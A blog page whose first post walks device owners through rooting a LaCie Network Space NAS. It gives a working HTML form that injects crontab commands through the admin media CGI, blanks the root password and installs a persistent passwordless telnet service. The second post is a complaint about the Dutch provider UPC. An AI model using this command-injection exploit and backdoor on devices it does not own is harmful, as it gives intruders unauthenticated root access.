Get a root shell on a Lacie Network Space device without physically opening the device

About the NAS

LaCie Network Space I own a 1 TB Lacie Network Space device. This device, also called Network Attached Storage (NAS), enables you to hook it onto your (local) network and access files via file -and print sharing, ftp and other protocols. Very handy, if it works as you expect it to.
The NAS has an ARM926EJ-S processor, a 1TB hard disk, 16MB of memory, an USB port and no fan (which makes it pretty quiet).

Problem

My problem with the NAS is that the kernel running on the device starts killing processes when I copy very large (2 GB+) files to the NAS via file -and print-sharing (using the samba server). This broke my device in such a way that it would become unusable (no admin panel, though still pingable). Therefore I sent the device for RMA to Lacie’s service desk where it was repaired.
At least I thought it was, because after copying those large files again, the device broke again, but this time  I was luckily still able to reboot and keep the device up a little while before it required a new reboot. :|
The system log showed a kernel that was randomly killing processes. I expect this might be caused by the autoscan feature that indexes the media on the device, or maybe the device just doesn’t have enough memory to cope with the continuous transfer of big files. Not funny for a € 160,- device.

Getting root

I decided I didn’t want to submit the device for RMA again and wanted to get root access to the device and repair it (read: make it more stable) myself. However I didn’t want to physically open the device and void the warrant. Luckily you don’t have to, at least not when your device is running firmware 1.1.8, as I found out thanks to a post from user ‘hardel09′ (read here). You should only proceed when you understand what you are doing. If you do anything wrong, it can break your device.

Take the following steps:

  1. Save the content below to a HTML page, as it allows you to send commands that allow you to abuse cron for executing the tasks you want:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Hack the NAS</title>
    </head>
    <body>
    <form name='edit_form' method='post' action='http://YOURDEVICE/cgi-bin/admin/media'>
    <input type='hidden' id='autoscn' name='autoscn' value='true' />
    <input type='hidden' id='modified' name='modified' value='true' />
    <input name='hour' value='12'/><input name='minute' value='50 12 * * * chmod 755 /home/openshare/utelnetd; /home/openshare/utelnetd &'/>
    <input type=submit value='SET CRONTAB'/>
    </form></body>
    </html>
  2. Change the YOURDEVICE in the HTML-file to use the right IP-address or hostname of the NAS
  3. Copy utelnetd to \\YOURDEVICE\openshare\utelnetd
  4. Open the HTML file with your favorite browser and fill the current hour in the hour input field and fill the minute input field with the value below. Change the “HOUR” string to the current hour and change the “MINUTE” string to the next minute plus 2 minutes or so (leaving existing spaces intact), assuming the time on your NAS is correctly set (if not, make it correct by using the admin panel). Now click the SET CRONTAB button and after a few seconds you should end up at the administrator media page with the autoscan checkbox selected.
    1
    MINUTE HOUR * * * chmod 755 /home/openshare/utelnetd;  /home/openshare/utelnetd &
  5. Now wait a few minutes, start you favorite network scanner tool and check if port 23 on the NAS has yet appeared as open. If this is not the case, try again from step 4.
  6. If so, you can almost log in, if you set a (empty) password for the root user. Get to the HTML page again, change the “MINUTE” and “HOUR” strings again (leaving existing spaces intact) and add a command that makes root’s password empty:
    1
    MINUTE HOUR * * * passwd -d root
  7. Login with user root via telnet to get your root shell:

    root shell

  8. If you got a shell, congratulations, you did it! Now continue to make it permanent. Disable the cleanConf daemon, so your changes won’t be reversed when the NAS is rebooted:
    1
    2
    3
    cd /etc/rc.d/rc3.d
    mkdir disabled
    mv S12cleanConf disabled
  9. Fix the hacked crontab by executing the command below and clear the first line in the editor (which will disable autoscan)
    1
    crontab -e
  10. Copy /home/openshare/utelnetd to /usr/bin and make it executable:
    1
    2
    cp /home/openshare/utelnetd /usr/bin
    chmod 755 /usr/bin/utelnetd
  11. Add a script in /etc/init.d/telnetd for starting utelnetd automatically. Mine looks like this:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    #!/bin/sh
    # Begin $rc_base/init.d/telnetd

    . /etc/sysconfig/rc
    . $rc_functions

    case "$1" in
            start)
                    echo "Starting telnetd server..."
                    /usr/bin/utelnetd &
                    ;;

            stop)
                    echo "Stopping telnetd server..."

                    killall utelnetd
                    ;;
            restart)
                    $0 stop
                    sleep 1
                    $0 start
                    ;;

            status)
                    statusproc utelnetd
                    ;;

            *)
                    echo "Usage: $0 {start|stop|restart|status}"
                    exit 1
                    ;;
    esac

    # End $rc_base/init.d/telnetd
  12. Enable the script by making a symbolic link that points to the telnetd script:
    1
    2
    3
    4
    cd /etc/rc.d/rc3.d
    ln -s ../../init.d/telnetd S18telnetd
    cd /etc/rc.d/rc6.d
    ln -s ../../init.d/telnetd K12telnetd
  13. Make the script executable:
    1
    chmod +x /etc/init.d/telnetd

That’s it. You can now reboot the device and utelnetd is automatically started after the reboot.

Now we have root

So what can you do with the device now you have root access to it?

  • Secure it. Anyone in your network who can access the device via IP can currently connect to it without a password, so you might consider using openssh instead of telnet as described here. You might want to secure the /www/cgi-bin/admin/media script as well, as it can be easily used to hack into the device.
  • Fix other problems with the software on the NAS that bother you.
  • Mount (multiple) partitions from an external mass-storage device and make it available on the network.
  • Use it as bittorrent client.
  • Run other (light-weighted / self-compiled) applications on it.

I hope this has helped anyone in any way :)

Issues with Dutch cable provider UPC

UPC unhappy logoUPC is a service provider for Internet, television and telephone in the Netherlands. I don’t like UPC and I’m going to tell you why. If you are not interested you can stop reading now, but I need to get this of my chest.


Why UPC is a bad service provider (in random order)…

  • Since recently, UPC forces non-resolving domain requests to their default(!) DNS servers with a request that resolves to a web page that 302 http redirects you to their own “search” engine. So if you mistype a domain name, your browser redirects you, thereby invading your privacy and providing you with their full-banner “helper”-webpage. This is against the DNS protocol.
    You can solve it by forcing your IP’s to use another set of DNS servers. For me this means I have to manually configure each network device because I cannot make my Thomson router distribute specific DNS host adresses via DHCP :(
    This site tells you more about the solution where you have to manually set your DNS servers.
  • I have a ‘royal subscription’ which means I get nine HD (High Definition) channels for 10 euro/month extra. UPC offers you another feature with this Royal subscription that is called Video On Demand (VOD). The feature is nice because they provide you with a lot of nice content (like series) that are watchable on demand, just like a dvd.
    The problem is that it  often doesn’t work for me, giving me a VOD 103 exception. I’ve contacted support three times now about this issue and they still haven’t manage to locate the problem. Every time I have to convince them my signal is ok (using a special test-channel). The problem is probably caused due to a under capacity at their streaming servers, but people at the support desk simply follow protocol and never find the problem so it never gets fixed.
  • I have a subscription where I have a combined box for telephone, internet (24 MBit) and (HD) television. I don’t want the phone, but I cannot just order only internet and television. I don’t want to pay for this crappy phone line that doesn’t allow me to dial +31(0)87 numbers (voip phone land-lines in the Netherlands). Another irritating issue is that when your broadband cable modem has no connection, people calling your number get a normal “phone is ringing”-tone on their side, and not a “number not reachable”-tone, which doesn’t help finding the problem.
    Besides that UPC tries to sell this product as a normal phone line, but instead it’s a very error-prone telephone line that you should not primarily rely on when you might need to call the alarm-number.
  • My (brand new) black colored ‘Media Box’ that provides me with HD television seems unstable. Sometimes – out of nothing – the screen just turns black, while sounds continues. Remote control activities don’t work any more and the device get’s locked. In this case the device needs a power-cable off and on, which costs me at least 60 seconds before the television get’s back. Not funny when you were watching ‘time shifted’.
    I’ve also seen issues where the device automatically switches to the (of all channels) interactive ‘UPC’ channel, functionally “disabling” the number pad on your remote control so it will take you some time to get back to the non-interactive TV channels, while losing ‘time-shifted’ data as well. The remote control is not the problem (I’m using the Logitech Harmony nowadays), and there are numerous people on forums complaining about issues with the UPC media devices as well.
    I’m silently hoping they push a ‘all-problems-fixing’-firmware update soon.
  • UPC poisons their DNS servers with a blacklist so they can block domains hosting child pornography. The problem with this is that they are not open about it, so they they manipulate your DNS requests without telling you about it. I wrote an article about that case specifically.
  • The Internet connection UPC provides is slow during evening hours and has connection dropouts very often. When I switch my Internet connection to another provider to check if it’s a local network issue, the connection is always back and better.
  • With my subscription, they do not allow me to pay ‘manually’ with so called ‘accept giros’, instead they forced my to use automatic credit payment where they are in complete control. So if they make a mistake, It’s up to me to get the money back. Isn’t this against the law?
  • UPC violates your privacy. When you keep your default password, they get it in clear text on their screen at the help desk. If you play it nice, they’ll tell it to you. This endangers your privacy because it is the password that is also used for the mail account they offer you and provides you access to their service center where you can order new services as well. Don’t use their mail account if you  are concerned about your privacy.
  • Something positive on the contrary is that they offer a very fast internet connection for almost the same price as you were already paying, an action that was just launched recently. The disadvantage of this is that their network gets more load, something that could explain the continuous connection drop-outs I’m continuously experiencing. They don’t seem to be prepared for Internet speed upgrades with their network.
  • When you call UPC on their special 0900-number, they charge a high price, especially when calling from a mobile phone. When you telephone line from UPC is dead, you cannot use their phone, so you are mostly stuck to a mobile phone.
    The high calling rate is not fancy, but I find it quite ok, because it prevents the waiting time due to customers only calling when they really have to. Still, their waiting time on average is too long, in my experience (> 5 minutes average).
    Besides that, when you call them, it takes you at least 2 minutes before you get through their menu, every time. Sigh.
    A refund for callers – if the problem is theirs – would be nice.
  • You cannot quit your contract with UPC whenever you want, you are stuck with them for at least one year. It’s not only UPC that plays this trick on you, there are other providers that do this to you as well.

So why do I still use UPC?

The reason for me still using UPC  is that they are the only provider offering HD television to my home. Besides that my ADSL line doesn’t seem to be capable for high speed Internet access (meaning 8 MBit+ downstream), and I want a reasonable upload speed as well.

If there is another provider for my region available that includes HD television and fast internet access, I’ll switch immediately.